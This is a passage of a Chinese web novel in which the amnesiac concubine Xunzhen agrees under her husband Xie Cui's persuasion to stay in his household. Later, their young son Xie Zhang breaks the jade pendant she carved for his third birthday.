谢漼:“倒也是我不对,先前我因范岂那厮,一时未能自控,吓到了你。” “让你心里对我生了惧,故而不肯与我共处。” “你失忆之后,对我有所警惕、防备,亦人之常情。” “若我对你再好些,多些耐心,循序渐进,你也不会那般怕我。不愿随我去陇州。” “细细想来,一步之差,步步皆错。” “都是我的过错。” 谢漼突然这样,倒让寻真有些不适应了。 谢漼见她鼻尖沁出汗珠,便道:“去里面说话吧。” 内室,已放好冰块,凉意扑面而来。 几上也摆好了冰镇过的茶。 谢漼先去沐浴。 他是真的有洁癖。 到了夏天,谢漼洗澡的频率高得有些离谱。 已经到了只要稍微出点汗就要洗澡的变态程度。 得亏生在富贵人家了,寻常家庭哪供的起他这种精致生活。 寻真就比较粗糙了,一天就洗一次,只出一点点汗,也觉得在可以忍受的范围内。 而且夏天的浴室又闷又热,洗一次澡,要用去不少冰。 虽然谢漼说冰随她用,寻真还是觉得太奢侈了。 寻真在榻上盘腿坐着,摆弄着围棋棋盘, 谢漼出来时,周身带着氤氲热气,发梢微微湿,往下滴着水。 谢漼只外披了一件宽袍,腰间系丝带。 后脑头发半束,穿得十分随意。 谢漼在寻真对面落座,一撩袍袖,露出修长好看的手指。 谢漼将寻真胡乱摆放的棋子一一拾起,收回棋盒。 与自己对弈起来。 一子一子,慢慢下着。 谢漼今天的态度又比五天前好了一点。 似乎把棱角都收了起来。 温和到让寻真感到陌生。 是……错觉吧? 寻真观察谢漼时,谢漼垂眼看着棋盘,手上落子不停,口中问道:“真儿心中可有答案了?” 寻真轻轻嗯了一声。 谢漼:“那么,真儿便将那答案说与我吧。” 他一心二用,一边与寻真对话,一边下棋。 谢漼稍作停顿,没有看她,只问:“你可要选择忘恩背誓。” “与我义绝,彻底断了?” 说完,他抬眸,目光如羽般,轻飘飘扫了过来。 就知道! 寻真忍不住磨了磨后槽牙。 看吧,就说是错觉。 谢漼这人什么时候都不忘阴阳人的! 这口气便吊在寻真胸口处,上不去也下不来。 谢漼似乎是感受到寻真的眼刀,只说:“我对你从未打骂,甚至一直以来,都诚心相待,从未亏待了你。” “我自认问心无愧。” “你想走,我也由着你自己选。” “你若执意离去,我便给你一笔丰厚银钱,保你后半生无虞,这话依旧作数。” “无论何种结果,我都认,绝不食言。” “但如今,我仍是你的丈夫。” “你欲忘恩弃义、过河拆桥、负心薄幸。” “我便是说你几句,你也得听着、受着。” 寻真:……! 谢漼不紧不慢下着棋,顺便掀眸看她一眼,问道:“真儿,可以说了。” 寻真突然很不爽,不想回答。 谢漼便又道:“真儿习过《左传》,应知晋惠公最后是何种结局。” 晋惠公许地不与,恩将仇报,最终战败被俘,政权摇摇欲坠。 寻真:“你怎拿晋惠公与我相比?” 谢漼:“为何不能?” 寻真:“我恩将仇报了吗?!” “我还什么都没做呢!” 寻真越看谢漼这样子,越不爽:“而且我走了,不是对你更有好处吗?” 谢漼放下棋子,注视她:“此话怎讲?如何就对我好了?” 寻真:“我自认我容貌寻常,也无过人之处,以你的身份地位,在外头找千个百个女子,都轻而易举。” “而且,我身份低微,离了我,反倒对你的名声有帮助。” “还有……” 谢漼:“还有什么?” “还有——” 寻真瞄了他一眼,反正已经说这么多了…… “你那正妻总是要害我,已经两回了……我想要离府,为了我自己着想,难道有错吗?” 谢漼默了一会,道:“此事,确是我没做好。” “让你两次遭害,皆为我之过。” “至于吕氏,她难担我妻之责,我心中亦有打算,只如今尚未确定,故不能向你作保。” “你,可愿再信我一回?日后,我定不会让你再落入危险之中。” 寻真忍不住想,姓吕的不能,那谁能担? 若确定了,他便要换了这个,再娶一个符合他要求的妻子吗? “至于你说的名声。” “名声于我而言,并无大用。人活于世,唯大是大非面前,当坚守正道,不能犯错。此等男女之间的小事,无足轻重,旁人如何议论,我并不在乎。” “最后一点,不如真儿自己猜猜,我为何,外头千个百个都不曾要。” 谢漼声音放柔了:“只想要你一个呢?” 寻真别开了视线。 谢漼:“真儿莫要妄自菲薄,别人如何看你我不知。” “我只知,我这妾室,虽出身不显,却有仁爱包容之心,仅此一点,便已胜过世上千万人。” “且毫无心计城府,纯真质朴,从不作态,让人见之便觉烦恼尽消。” “容貌寻常,我也不认同。” “明明眼似琉璃,目色醉心。” 一套组合拳砸下来,寻真已经毫无抵抗之力了。 论起嘴皮子功夫,谁能说得过谢漼? 这噼里啪啦一顿夸,谁知道里头哪句真,哪句假? 寻真已气势全无了。 谢漼还继续追问:“真儿还未告诉我你的决定。” 寻真就瞪了他一眼:“你不是早就看出来了吗!” 谢漼:“真儿为何不愿亲口对我说。” 寻真:“……我不走了!” 谢漼像是隐隐松了口气。 过了一会,又问:“当真?若你今日是这般想法,明日又向我要放妾书。” “我又该如何是好?” 寻真被谢漼说得头疼,抬手撑着额头。 谢漼继续输出:“真儿虽已二十,心思却仍似孩童,须知,人与人相交,亲近了,难免生隙,那日我不过是误会了你,然而你当时,第一时间不想着与我坦诚相对,化解误会,而是想要远离我。” “此乃逃避,不是善举……” 寻真放空大脑,眼神低垂,屏蔽谢漼的声音。 谢漼似也发觉她没在听,起身下榻,走到她面前。 寻真仰起头。 谢漼一字一句问道:“真儿,今后可愿安心留在我身边?” 寻真有些憋屈地嗯了一声。 谢漼注视她许久,眸色忽而变得深沉,抬起手,摸了摸她的脑袋。 “日后,真儿便不能再说,要我放了你。” “说一次,便……伤你我之间的情分。” 他的手下滑,拇指落在她红润的唇上,轻轻触了触。 “真儿须记住了。” 寻真:“……嗯。” 谈完,谢漼就走了。 说来也怪,自那日后,谢漼便再没跟她肢体接触了。他们之间的关系和状态,仿佛又回到了原点。 谢漼平时就来她这儿坐坐,说说话,聊些学问,顺便指点她一二。却不留宿。 经过这场“放妾”辩论,寻真也总算明白了,谢漼有多难对付。 要在嘴皮子上赢过他,几乎是不可能的。 谢漼虽然不碰她了,但偶尔看向她的目光,让寻真觉得他在暗暗盘算着什么。 总之寻真有些心慌慌。 谢漼这人,心眼子实在太多了! 对了。 还让寻真感觉不对劲的一点就是,她偷偷喝避子汤这一事。 谢漼他,自始至终都没提过。 第77章 第77章“朦胧” 潘竞在望仙楼打了酒,正准备打道回府,途经一处雅间,恰好锦帘飘起,潘竞似乎看到眼熟的人,撩起帘子一看,果真是谢漼。 “五郎!” 只见桌上仅放着一壶酒,还有一盘糕点。 潘竞瞧了一眼,又细细打量谢漼。 “你怎一人在此饮酒,也不叫上我与景桓?” 潘竞在谢漼对面坐下,拿起桌上的酒壶,发现已被喝空,只倒出个几滴。 潘竞便打开自己刚打的酒,斟上一杯,目光又 在谢漼脸上扫过。 谢漼,有些怪。 桌上糕点一块未动,酒全喝完了。 以前与他相聚,他向来只浅酌几杯,从未露醉态。 今日却独自在此喝闷酒! 定是发生了什么事! 潘竞便问道:“缮之,近日莫不是遇上了烦心事?不妨与我讲讲。” 谢漼摇头,拿起潘竞带来的酒,斟满一杯,啜饮一口,问道:“子尚,今年可要入场?” 潘竞只想说:可别提了! 潘竞叹了口气,道:“今年,我怕是不得不参加了。” 谢漼道:“何故而烦?以子尚之才,考中并非难事。” 潘竞道:“缮之,你可听闻我的事?” 谢漼道:“略有耳闻。” 潘竞爱玩,对功名仕途兴致缺缺,他还这么年轻,若做了官,便不能像现在这般过得轻松。 他不喜被束缚,奈何父亲对他寄予厚望,盼他早日入场,获得功名。见他如此不上进,便寻思着为他定下一门亲事,指望他成婚后能稳重些,收收心性。 而这,正是潘竞烦恼的根源。 说来也倒霉,潘竞两次相看,均以失败告终。 第一位,是杨氏嫡长女,两家私下相看后,口头说好了,还未换庚帖,没过几日,杨家突然反悔,称这婚约不作数。 第二位,是门第比潘家稍低的人家,母亲挑选许久,又暗暗访查许久,说那女子十分贤惠淑德,定能操持好家中大小事务,也能管得住他。正要定下时,那家人又反悔了。 他母亲便去打听,知晓缘由后,数落了他好几日,见着潘竞便要念叨几句,让他老实些,莫要总去那些风月场所玩乐,好人家姑娘都瞧不上他。 还顺带加了句,你与谢家五郎交好,好的不学,尽学些坏的,若你像他一样从外头带个女子回来,我定打断你的腿。 之后便开始督促他读书考功名。 潘竞今年是定要入场,逃不过了。 潘竞自己照镜子,自认为长得不差,怎就一个两个都看不上他。 他原本对婚姻生活还有些憧憬,被这么两遭嫌弃了后,就起了逆反心理。 不结了! 你们看不上我,我还看不上你们呢! 潘竞便将这些烦心事都倾诉给谢漼听:“我爹还威胁我,若我这次不中,便要扣下我的月钱,再不许我出门……” “我娘更是气人,我说我喜欢温柔一些的女子,她偏要反着来,偏不如我的意,非要寻个厉害的,能管住我的。” “那我日后哪还有好日子过……” “倒还要感谢她们,没瞧上我,哼哼……” 谢漼宽慰道:“姻缘一事,时机到了,便自然来了。” “子尚你不过是爱四处走动,旁人却觉得你心浮气躁,沉醉玩乐享受。世人大多仅凭片面见闻,便对你心生成见。” 谢漼说着说着,不知想起了什么,眸色变得暗了些,声音也愈发低了。 “殊不知,世间万物,表象不过是皮毛,唯有亲身……” 潘竞没察觉谢漼的异样,十分赞同地点点头,一拍桌板,道:“缮之说得极是,说到底,就是那些小娘子没眼光。若是相处过,便知道我有多好了。那些个装模作样的,表面上看着好,内里指不定是何等德行呢。” 本不该说此事,但潘竞心中郁闷,又喝了些酒,对面又是谢漼,他信得过谢漼的人品,知晓他不会四处乱说,便压低声音道:“缮之,你可还记得那萧敬旸?” 谢漼看向他,眉心一蹙,问道:“他又做了什么?” 潘竞:“那杨氏女回绝我之后,家中又为她相看了一人,便是这萧敬旸。” 潘竞心道,那萧敬旸真是个金玉其外、败絮其中的货色。 他潘竞再怎么不济,也比那姓萧的强吧。 “那杨家怎也不去查一查,萧敬旸干了多少见不得人的勾当?还能瞧上他!” “真真气死了我。” 谢漼:“若杨家知晓萧敬旸是何为人,那应是以利相易,各取所需。” “若是被萧敬旸表象蒙蔽,对杨家女来说,倒为终身之祸。” 潘竞:“算了,这杨氏女过得好不好也与我无关,若她真被骗,嫁入萧家之后,知晓了那萧敬旸的真面目,还是一样能和离的嘛!萧家总不至于绑着她不让她走吧!” “反正与我无关……!” 谢漼没再回应,只低头喝酒。 二人各自都有烦心事,沉默许久,谢漼便起身告辞。 潘竞摆摆手,道:“缮之先走吧,我再待一会。” 傍晚,天边晚霞流绮。 谢漼步入院子,脚步有些虚浮,刚抬起脚,身前却被一物挡住,谢漼低头,定睛,好一会儿,眼前才清晰起来。 “……恒哥儿。” “爹。” 谢璋本在书房练字,一看到谢漼进来,便跑出来迎接。 以往,爹很快便能发现他。 今日,不知怎了,跑到面前,爹都没发现呢。 谢璋扯了扯谢漼的袍角。 这是想要抱抱了。 谢漼道:“恒哥儿自己走,可行?” 谢璋没要到抱抱,有些失落,还是点了点头。 两人并行,慢慢往前,谢璋时而抬头看看谢漼。 觉得今日的爹好像有点奇怪。 谢璋道:“爹,我如今已会写很多字了。” 两人进书房。 谢漼将谢璋抱起,放在膝上,摊开纸,道:“那恒哥儿便写与我看吧。” 谢璋重重点了一下头,一手按在案上,另一只捏住毛笔,开始默写今日背的文章。 写了几字,谢璋感觉腰间的手渐渐松开,垂了下去,还听到轻轻一声撞击。 谢璋便停下笔,扭过头看去。 谢璋往后仰靠着,眼睛闭上了。 爹是睡着了吗? 谢璋便没再动,怕惊醒了谢漼。 谢漼只闭了一会,便睁开了眼。 谢璋唤了一声“爹”。 谢漼目色朦胧,眸中似晕着一层水汽,抬起手,轻抚谢璋的脸蛋,轻柔的目光在他脸上流转。 谢璋眨眨大眼睛,回望。 许久,谢漼低低唤了一声,不知道说了什么。 谢璋没听清,问道:“爹,你说什么?” 见谢漼嘴唇动着,喃喃,谢璋便歪着身子,更凑近些,还是听不清。 谢璋便将鞋脱了,踩着谢漼的大腿,攀到谢漼身上。 谢漼下意识便将他环住了。 谢璋的小耳朵贴近了。 终于听清。 谢漼的声音沙沙的,黏黏的。 低低唤着:“……真儿。” 谢璋想了许久,确认自己从未听过这个名字。 听爹的声音,好像跟这个人关系很好。 谢璋便皱着眉,问:“爹,真儿是谁?” 谢漼有些迟钝地说:“……嗯?” 谢璋攀着他的肩,贴到他耳边说话,重复了这个问题:“真儿是谁?” 谢漼摸着他的脸,过了一会,又轻轻掐了掐:“……是你娘。” 谢璋心想,原来她叫真儿。 谢璋:“……哦。” 谢漼用拇指摁着谢璋的唇,一会又抬起手来,揪揪谢璋的头发,一会又揉搓他的脸。 谢璋乖乖的,任谢漼将他的头发扯乱。 观察着谢漼。 今日的爹,真的很奇怪呢。 谢漼玩着小孩,手又松开了,眼睛渐渐闭上。 谢璋瞅了一会,想 起丫鬟说过的话,便提醒道:“爹,你若困了,便去床上睡吧,不要在这里睡,要受凉的。” 谢漼“唔”了一声,没睁眼。 谢璋想着要把谢漼叫醒,便举起手,捏谢漼下巴上的肉。 谢漼便又被他折腾着睁眼了,眼神却是迷迷糊糊的。 “别闹……” 谢漼亲了一下谢璋的脸蛋,接着将他抱紧了。 拍拍谢璋的小脑袋和背,低声哄着,不知说了什么话。 谢璋第一次被亲,脸立马红彤彤的了。 小男孩呆呆的,好久都沉浸在那个亲吻中。 谢漼过了酒劲,总算清醒了些。 见怀中的小孩睁着大眼睛,炯炯有神看着自己。 “恒哥儿。” 谢璋还想要一个吻,却很羞涩,别别扭扭地看了谢漼一眼,没有说出口。 “爹……” “恒哥儿怎了?” 谢璋不好意思说,瞧了眼谢漼,忽然开口说:“方才爹,一直叫我……真儿。” 谢漼:“方才不是与你说了,她是你娘,恒哥儿应如何唤她?” 谢璋心想,原来爹还记得刚才说了什么。 谢璋抿着唇,没回答,小眼神朝一旁瞥去。 谢漼想了会,语气严厉了些,教他:“纵恒哥儿如何不愿,她都是你娘,这一点,永远不会变。” “若你不认,便是不孝,恒哥儿,下回见她,可清楚该如何做了?” 谢璋攥紧了小拳头,不知想了什么,抬起头来,眼中有水光,委屈巴巴。 “她不肯认我,我又为何要认她?” “我不要。” 谢漼:“恒哥儿。” 谢璋似是抽噎了一下,连鞋都顾不得穿,便从谢漼的怀里跳下去,哒哒哒跑出去了。 谢漼因喝了酒,一时反应不及,朝外看了会,才唤人去照顾谢璋。 在案前静坐片刻,谢漼抬步,朝院外走去。 寻真这几日在琢磨酿酒。 忙活了一天,终于大功告成,将两个酒坛埋进院中的榆树下。 拿着铲子敲泥时,谢漼进来了。 寻真干活干得专注,没听见声音,谢漼在一旁看了许久,便问:“在埋何物?” 寻真抬手抹了抹汗,看了眼谢漼,继续敲了敲土:“我做了两坛葡萄酒。” 谢漼:“欲待何时将它挖出?” 寻真:“嗯,差不多两年左右吧。” 寻真沐浴完,谢漼正在榻上,翻看着几上的一沓纸。 那沓纸,是寻真收拾房间时,偶然翻出来的。 谢漼走前给她布置的任务,每日抄一遍《女戒》。寻真一共抄了八百多张。 寻真看到这叠纸的时候,还有些后悔,早知道就不那么实诚了。 她那会生怕被谢漼罚,就算落了几天,也会后面补回来。 哪知道谢漼根本不检查。 谢漼已经翻到了最后一张,抬头看向寻真:“真儿,倒是一张未曾落下。” “字也一日好过一日。” 寻真嗯了声,在他对面坐下。 寻真闻到酒味,很浓。 抬起头来,打量着谢漼,看脸看不出来醉没醉。 谢漼应该是喝酒不上脸的类型。 刚才埋酒时,也闻到了,寻真还以为是酒坛中散出来的味道。 谢漼:“真儿,可还记得,五日后,是什么日子?” 五日后,寻真算了算。 是她穿来这里的日子。 寻真不免又震惊了,时间过得真快啊。 她居然都快穿来三年了。 寻真想了想,就知道谢漼的意思了,便回:“是恒哥儿的三岁生辰。” 谢漼有些感慨的样子:“真儿竟还记得。” “这回不大办,在我院中,简单为恒哥儿庆贺便可。” 谢漼看向她,目光沉沉。 “五日后,真儿可想来?” 说实话,寻真当然是不想去的了。 但鉴于……最近谢漼怪怪的,寻真都摸不准该如何跟他相处了。 要顺着他的想法说吗? 寻真犹豫时,谢漼问道:“真儿如何看待恒哥儿?” 这是什么问题? 寻真瞅了一眼谢漼,不知道该怎么回答。 谢漼继续道:“真儿当知童子幼弱之时,最是需父母相伴。” “这时,若亲情淡薄,慢慢培养,也还能补救。” “等他长大成人,便不再依赖父母,到那时,再想让他跟自己亲近,可就来不及了。” 寻真知道这个道理。 可是,她真的没有当妈的那种感觉。 而且,谢璋这小孩,跟谢漼一个样,太精了。 第78章 第78章“随了谁” 寻真:“要不我还是……” 谢漼:“真儿不知,恒哥儿心里可一直惦记着你呢。” 是吗。 寻真想起那小孩的眼神,她怎么有点不太相信谢漼说的话呢。 谢漼:“真儿若觉着与恒哥儿相处不自在,来瞧上一眼便好,让恒哥儿知晓你心中记挂着他,他定欢喜得紧。” 谢漼都这么说了,寻真不好推辞,便应了下来。 谢漼起身,准备走了,顺手拿起那一沓《女戒》,卷成一卷,握在手中。 寻真也起身,送他。 谢漼行至堂中一处,脚步顿住,目光投向墙上悬挂的画。 那幅画是谢漼画的。 这小院的全览图。 谢漼经常会在她这儿写写画画,有些作品他会带走,有些则留下。寻真觉得好看,就挂了起来。 谢漼立在画前,凝视良久,回头看她。 寻真不知道他这个眼神是什么意思,便解释说:“爷若想要这幅画,我这便取下来?” 谢漼看着她说:“真儿已忘了,你以前也会画。” 寻真心想,原身会的还不少。 谢漼突然提这个,是想让她学画画? 谢漼目不转睛地看着她,寻真便问:“爷……可是想要我学画?” 谢漼道:“一切凭你心意。” 说完,便拿着那沓八百多张《女戒》走了。 五天后要去见谢璋,寻真多少有点紧张。 寻真就算去参加亲戚小孩的生日宴,都会用心选一份礼物。 既然是原身的孩子,也不能太随便了。 寻真打算雕一块玉佩。 因时间紧迫,只能选择简单的图案,比如葫芦。 寻真赶了四天工,发现这葫芦玉佩拿不出手。 肉眼可见的简陋,葫芦底部还有一处凹陷,摸上去十分粗糙。小孩子肌肤娇嫩,若是佩戴在脖子上,怕是会磨得发红。 寻真思忖再三,还是觉得不妥。 换个礼物吧。 离谢璋生辰只剩一日,现在去外面挑,也不知来不来得及。 瑞宝得知是给谢璋买生辰礼,拍拍胸脯,打包票:“定来得及!姨娘想要什么样的,都能寻来!”回去便叫大家一块帮忙,去外面寻葫芦形状的玉佩。 此事自然也传到了承安耳中。 承安便告诉谢漼了。 谢漼搁下笔,抬眸看承安,道:“今日去,怕是挑不到好的,你也帮着一同去寻。” 承安:“是。” 承安退下后,门边悄悄探出一个小脑袋,只一瞬,又迅速缩了回去。 谢漼余光瞥见,开口道:“恒哥儿……怎还学会偷听了?” 不多时,一个小小的身影从门后站了出来,瘪着嘴,慢慢走进来。 谢漼旁有一张小案,以前寻真在这儿学习用过,谢漼一直未让人收走,如今成了谢璋的地盘。 案上摆着书、笔墨纸砚,还有许多小孩喜爱的小物件,诸如陶哨、磨喝乐等。 东西虽多,却摆放得整整齐齐。 谢璋走进来,熟门熟路地走到自己的位置坐下。 那椅子是特意按照谢璋的身高定制的,他手脚并用地爬上去坐好,双臂交叠放在桌上,脸枕上去,后脑勺对着谢漼。 谢漼唤了一声:“恒哥儿。” 谢璋没有转过来。 谢漼便绕到谢璋脸对着墙的那一侧,微弯下腰,注视着谢璋。 “恒哥儿这是怎了?” 谢璋圆溜溜的大眼睛装着点点委屈,摇摇头,不肯说。 谢漼:“有什么心事,与我都不能说?” 谢璋还是摇摇头。 谢漼摸了摸谢璋的头,刚要抬步,谢璋开口了:“明日就是我生辰了……” 谢漼自然明白谢璋心中所想,温和地对他说:“恒哥儿可还记得,上回,你是如何惹你娘生气的?” 谢璋声音糯糯的:“……是我说错了话。” 谢漼:“那明日该如何做,你心中可有数?” 谢璋撅着唇。 谢漼继续道:“若你这回还表现不好,那为父也帮不了你。” 谢璋轻轻哼了一声,跳下椅子,跑出去了。 谢漼望着谢璋的背影,摇了摇头。 这性子,也不知随了谁。 谢璋跑出院子,身后跟着一名小厮和两个丫鬟。 在路上碰见谢进了。 两人目光交汇,同时停下脚步。 “恒哥儿。” “十五叔。” 两人寻了一处偏僻的亭子,坐下交谈。 谢璋许久未见谢进,只觉他变了许多,打量了一会,问道:“十五叔最近去哪了?好久没在府中见到你了。” 谢璋喜欢读书练字,也喜欢到处玩耍。 谢漼从不约束他,只叮嘱下人看顾好,莫让他受伤。谢璋已将府中各处摸透了。这段时间,他一次都没碰到过谢进,便以为谢进是出府去了。 谢进:“我没去哪,在自己屋子里读书呢。” 谢璋点点头:“……哦。” 谢进见谢璋小脸挂着,似有心事,便关切地问:“方才恒哥儿那么急,要跑去哪儿?” 谢璋:“没有……” 谢进:“是谁又惹恒哥儿不开心了?” 谢璋瞅了一眼谢进,嘴唇动了动,没说话。 谢进拎起拳头,哄小孩道:“谁敢欺负恒哥儿,十五叔替你去揍他!” “没人欺负我。”谢璋迟疑着,唤道“……十五叔。” 谢进:“嗯?” 谢进虽比谢璋大许多,因两人一起玩过几次,谢璋心中,谢进一直是他的玩伴,是他可以信任的人。 谢璋问道:“你是怎么与……她认识的?” 谢进愣住。 谢璋以为他没听懂,便解释:“就是……真儿。” “……真儿。” 谢进跟着谢璋念了一遍这个名字,脑中浮现出一人的容貌。 不知为何,自那日起,再想起姐姐,分明还是同一张脸,却给他截然不同的感觉。 就好像……才知道姐姐是长成那样的。 谢璋见他痴痴然,伸手拍了拍他:“十五叔。” “你在想什么?” 谢进回过神来:“恒哥儿,怎这般叫你娘?” 谢璋鼓起脸颊:“不行吗……我爹就是这么叫她的。” “我跟着我爹叫的。” 原来在私底下,五兄这么唤姐姐。 真儿。 谢进在心底又唤了一声,蓦地,心底泛起丝丝苦涩。 谢进抿起嘴角,笑着看向谢璋:“恒哥儿可还记得我上次与你说的话?” 谢璋想了想,便知道谢进说的是哪句了。 谢进:“我跟你娘认识是意外。今后……便不会再有交集了,恒哥儿,可定要答应我,不能将这事往外说。” 谢璋:“为什么?” 谢进:“等恒哥儿大了,自然就明白了。恒哥儿,要记牢了,这事若被旁人知晓,你娘会出大事的。” 谢璋哦了一声。 两人沉默了一会,谢璋又开口问道:“你生辰那日,那个会飞的……是不是她送你的?” 谢进:“嗯……恒哥儿怎知道?” 谢璋没回答这个问题,长长的睫毛低垂,又轻声问:“……是她买来送你的吗?” 谢进回:“是你娘用竹子做给我的。” 谢进想起此事,心中满是怅然,他将姐姐送的东西都给了五兄。 想来,五兄定是都毁了吧。 谢进叹了一口气,看向谢璋,只见他脑袋低垂,十分低落的模样。 “……恒哥儿?” 谢璋:“十五叔,我还有事,我们下回再聊吧。” 谢进:“嗯。” 谢璋下了石凳,缓缓走远了。 谢进望着他的背影,直至消失不见,才朝着相反的方向离去。 瑞宝买来的葫芦玉佩特别精致,寻真放在掌心,在灯下欣赏许久,玉质莹然,温润剔透,一看就知价值不菲,定是花了大价钱。 寻真出门时,将那块自己雕的玉佩也捎上了。 一块买的,一块亲手做的,都放在同一个匣子里。 她想着,毕竟是临时去外面买的,说出去难免显得不够诚心,到时候便解释下,表明自己也是用心准备过的,只是手工欠佳,卖相不好。 谢漼说简单庆祝,就是在他院子里摆一桌,然后他们三人一同吃顿饭。 寻真到了,仆人将她引到正堂。 寻真望了一圈,谢漼不在,只有个小孩。 谢璋跪坐在榻上,摆弄着几上的围棋。 寻真:这么小就开始学围棋了? 正堂内没别人,寻真找了个地方坐,把装玉佩的匣子放在一旁。 谢璋似乎没注意到她来了,始终背对着她。 谢漼在书房么? 寻真好不自在,早知道就不答应来了。 许是因为生辰的缘故,谢璋被打扮得格外喜庆,红红的一小坨,窝在那里。看起来还蛮可爱的。 寻真想,要不她主动过去说几句? 寻真正欲起身,谢漼从外面走了进来。 两人目光撞上,一时间,寻真坐也不是,站也不是。神色局促。 谢漼看了眼寻真手中的匣子,又朝谢璋的方向望了一眼,唤道:“恒哥儿。” 那小身影便一僵。 谢漼见他没反应,声音稍稍重了些:“你娘来了,怎的也不知道过来问好?” 谢璋自然听得懂谢漼语气中的轻重,听到这般严肃的口吻,便知不能惹,于是乖乖放下手中棋子,下了榻,走了过来。 那小孩嘴角微微下垂,面无表情,寻真越看越觉得像谢漼。 寻真:天呐!果然不该来! 寻真就看着缩小版的谢漼朝自己走来了。 心莫名紧了紧。 谢璋在寻真面前站定,低着头,看自己的脚尖,一声不吭。 谢漼沉声唤:“恒哥儿。” 谢璋还是低头看着自己的脚。 谢漼目光在他身上停留片刻,看向寻真,语气温和了些:“真儿可要抱抱恒哥儿?” 寻真:啊? 谢漼说出这句话,谢璋抬起头,目光嗖的一下投向寻真。 寻真对上谢璋黑漆漆的眸子,心里咯噔一下。 这眼神…… 看上去也不是想让她抱的样子吧? 要不,还是别了吧…… 母子感情,不是硬培养就能培养出来的。 寻真向谢漼投去求助的目光。 谢漼用鼓励的目光看着她,下巴往谢璋那方向指了一下。 好吧,那她试试…… 寻真拿起匣子,朝谢璋走过去。 谢璋一直盯着她,眼皮都不眨一下。 那黑眸中,似还隐隐闪动着几丝怨。 寻真弯下腰,将匣子递到他面前:“恒哥儿,这是我送你的生辰礼。” 下一瞬,只听砰的一声,匣子落在地上。 里头两块玉佩摔了出来。 接连发出清脆的响声。 寻真愣在原地。 地上,两块玉。 一块完好无损,一块碎成两片。 是寻真自己做的那块碎了。 其实两块玉质差不多,只是寻真雕玉经验不足,有些地方打磨得过于单薄,所以一摔就碎了。 虽早就料到谢璋可能瞧不上自己做的玉佩,但这么被嫌弃,寻真还是有些伤心。 毕竟做了四天呢。 寻真蹲下,将碎掉的玉佩捡起来,攥在手心,然后抬头看向谢漼,问道:“爷,要不……我就先回去了?” 谢漼没有看谢璋,而是包住了寻真的手,拿到面前,将她的手指轻轻展开:“都碎了,仔细伤着手。” 然后将她手心中的两片碎玉拿过来。 放在掌心,细细端详。 谢漼:“既恒哥儿不要这份礼,真儿可愿意,将这玉送与我?” 第79章 第79章“执着” 寻真:“……可已经碎了。” 谢漼:“无妨,寻个手艺好的匠人粘上便可。” 寻真点了点头:“好……” 接着,谢漼送她回院子。 走进屋里时,寻真还有些懵,就这么把谢璋丢下了? 谢漼道:“真儿莫恼,那小子我定好好教训,叫他日后绝不敢再对你有半分不敬。” 寻真思考一会,还是提议说:“爷,要不以后……” “恒哥儿看起来也不是很喜欢我的样子 ,要不以后我们还是尽量不见了?” 勉强是没有好结果的。 谢漼没有答应,而是说:“恒哥儿如此无礼,皆我之过。” “是我没教好,使他如此任性胡为。” “真儿若要怪罪,就怪我吧。” 寻真没回,谢漼又说:“此事是我思虑欠周。恒哥儿这般年纪,正处心性未驯之时,常以己为尊,自专自擅。我回去后定好好教。” “待日后他懂得收敛性子,再乖一些,我再带来给真儿看,可好?” 谢漼真的很执着培养她跟谢璋的母子情。 寻真哦了一声。 谢漼返回,只见谢璋还维持着他们离开时的姿势。 小身影站在打翻的匣子前,低着头,两个拳头攥得紧紧。 谢漼走过去,阴影将谢璋覆盖了。 谢漼只淡淡道:“恒哥儿这回将你娘赶走,可称心如意了?” 小身子站在原地,一动不动。 谢璋不吭声,谢漼便继续道:“恒哥儿,须知这世间,并非以你为中心。” “你莫不是认为,你一心想与她亲近。” “她就非得如你所想,同样盼着与你亲近不成?” “若所求不得,便发怒伤人,你心里就能痛快了?” “你这么做,只会把她越推越远。” “恒哥儿,你可知错?” 谢璋不发一言,谢漼的声音便冷硬了几分。 “我日后,不会再帮你。” “你与真儿既无母子之缘,我亦不再勉强她见你。” “更不会再给你机会,一次次伤她。” 听到这话,谢璋终于抬起头来,眼睛红红的,强忍着泪。 见谢璋这副模样,谢漼的心软了软,道:“今日是你生辰,我便不再多说了。” “且将泪收一收,过来用膳。” 谢璋依旧没有回话,抿抿唇,蹲下来,小心翼翼将地上的玉佩捧起来,小手轻轻擦了擦,仔细盯了好一会儿,才揣进怀里。 接着,他又把匣子捡起来,抱在怀里,一言不发地走了出去。 谢漼就这么被无视了。 谢漼在原地伫立良久,难得觉得棘手,竟有些束手无策。 过了一会,谢漼令人将吃食送进谢璋房里。 丫鬟回来禀报,说是谢璋一口都没吃,躲在床上,仔细听,似是在偷偷掉眼泪呢。 谢漼放下笔,叹了口气,起身朝谢璋房中走去。 从门口便能瞧见,谢璋小小的身子缩在床的角落,肩膀一抽一抽。 那匣子被他放在了桌上。 听到脚步声,谢璋察觉有人来了,便刻意隐忍。 却还是止不住。 低弱的呜呜声,伴随着吸气时轻微的抽泣声。 像一只受了伤,躲在巢穴里,独自舔舐伤口的小兽。 谢漼缓缓朝床边走过去。 那声音愈发微弱了。 谢漼在床边坐下,唤了一声:“恒哥儿。” 谢璋停止了哭泣,小身子往里缩了缩。 谢漼:“恒哥儿这是生我气了?” “不愿再理爹了?” 谢璋背对着他,哽咽着说:“……没有。” 谢漼:“今日是恒哥儿生辰,怎连饭也不吃,就睡觉了?” 谢璋:“……我不饿。” 谢漼:“恒哥儿做错了事,便要不吃饭来惩罚自己吗?” 谢漼倾身向前,才看见他手里紧紧攥着那块玉佩,白净的脸上满是泪痕。 便解释说:“你娘病了。” 谢璋缓缓转过身来,眼睫毛上还挂着泪珠,湿漉漉的:“……病了?” 谢漼用帕子轻轻擦拭谢璋的脸:“她连我都忘了,又怎会记得你?” 谢璋张着嘴巴,有些发愣,像是被这个消息惊到了。显得有些呆呆傻傻。 半晌,他才问道:“是很严重的病?” 语气里带上了些埋怨:“你怎现在才告诉我?” 谢漼:“不是严重的病。” “只是将你我都忘了而已。” 谢璋一时都忘了难受,睁大了水润的眼睛,不可置信:“这还不严重?” “爹为何不请大夫给真儿看?” 谢漼:“恒哥儿竟还怪上我了?” “如此称呼你娘,平日教你的规矩,都忘了?” 谢璋撅了撅嘴。 谢漼:“既已知道缘由,心里可还怨你娘?” 谢璋幽怨的小眼神投了过去:“……若这病永远治不好,我该怎么办?” 谢漼:“我都教你两回了,恒哥儿仍如此任性,一意孤行。” “恒哥儿这般不讨喜。” “便是你娘想起来了,怕也难对你心生欢喜。” 听了这话,谢璋忍不住瞪了谢漼一眼。 谢漼便又道:“为父说的不对?” “你砸坏了你娘亲手给你做的玉佩,让你娘伤心难过。” 